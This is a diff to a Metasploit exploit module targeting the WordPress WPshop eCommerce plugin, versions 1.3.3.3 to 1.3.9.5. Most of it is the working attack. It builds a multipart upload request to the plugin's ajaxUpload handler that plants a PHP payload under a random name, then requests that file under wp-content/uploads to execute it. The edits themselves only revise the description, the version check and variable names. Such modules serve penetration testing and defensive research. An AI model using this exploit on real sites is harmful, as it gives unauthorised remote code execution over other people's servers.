@@ -13,15 +13,17 @@ class Metasploit3 < Msf::Exploit::Remote
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'Wordpress WPshop eCommerce Upload Vulnerability' ,
16
+ 'Name' => 'WordPress WPshop eCommerce Arbitrary File Upload Vulnerability' ,
17
17
'Description' => %q{
18
- This module exploits an arbitrary PHP code upload in the WordPress WPshop eCommerce plugin,
19
- version 1.3.9.5. The vulnerability allows for arbitrary file upload and remote code execution.
18
+ This module exploits an arbitrary file upload in the WordPress WPshop eCommerce plugin
19
+ from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP code and get remote
20
+ code execution. This module has been tested successfully on WordPress WPshop eCommerce
21
+ 1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.
20
22
} ,
21
23
'Author' =>
22
24
[
23
- 'g0blin' , # Vulnerability Discovery
24
- 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
25
+ 'g0blin' , # Vulnerability Discovery, initial msf module
26
+ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module Pull Request
25
27
] ,
26
28
'License' => MSF_LICENSE ,
27
29
'References' =>
@@ -39,15 +41,15 @@ def initialize(info = {})
39
41
end
40
42
41
43
def check
42
- check_plugin_version_from_readme ( 'wpshop' , '1.3.9.6' )
44
+ check_plugin_version_from_readme ( 'wpshop' , '1.3.9.6' , '1.3.3.3' )
43
45
end
44
46
45
47
def exploit
46
- php_pagename = rand_text_alpha ( 5 + rand ( 5 ) ) + '.php'
48
+ php_page_name = rand_text_alpha ( 5 + rand ( 5 ) ) + '.php'
47
49
48
50
data = Rex ::MIME ::Message . new
49
51
data . add_part ( 'ajaxUpload' , nil , nil , 'form-data; name="elementCode"' )
50
- data . add_part ( payload . encoded , 'application/octet-stream' , nil , "form-data; name=\" wpshop_file\" ; filename=\" #{ php_pagename } \" " )
52
+ data . add_part ( payload . encoded , 'application/octet-stream' , nil , "form-data; name=\" wpshop_file\" ; filename=\" #{ php_page_name } \" " )
51
53
post_data = data . to_s
52
54
53
55
res = send_request_cgi (
@@ -58,19 +60,20 @@ def exploit
58
60
)
59
61
60
62
if res
61
- if res . code == 200 && res . body =~ /#{ php_pagename } /
62
- print_good ( "#{ peer } - Our payload is at: #{ php_pagename } . " )
63
- register_files_for_cleanup ( php_pagename )
63
+ if res . code == 200 && res . body =~ /#{ php_page_name } /
64
+ print_good ( "#{ peer } - Payload uploaded as #{ php_page_name } " )
65
+ register_files_for_cleanup ( php_page_name )
64
66
else
65
67
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unable to deploy payload, server returned #{ res . code } " )
66
68
end
67
69
else
68
- fail_with ( Failure ::Unknown , ' Server did not respond in an expected way' )
70
+ fail_with ( Failure ::Unknown , " #{ peer } - Server did not answer" )
69
71
end
70
72
71
73
print_status ( "#{ peer } - Calling payload..." )
72
74
send_request_cgi (
73
- 'uri' => normalize_uri ( wordpress_url_wp_content , 'uploads' , php_pagename )
75
+ { 'uri' => normalize_uri ( wordpress_url_wp_content , 'uploads' , php_page_name ) } ,
76
+ 5
74
77
)
75
78
end
76
79
end
0 commit comments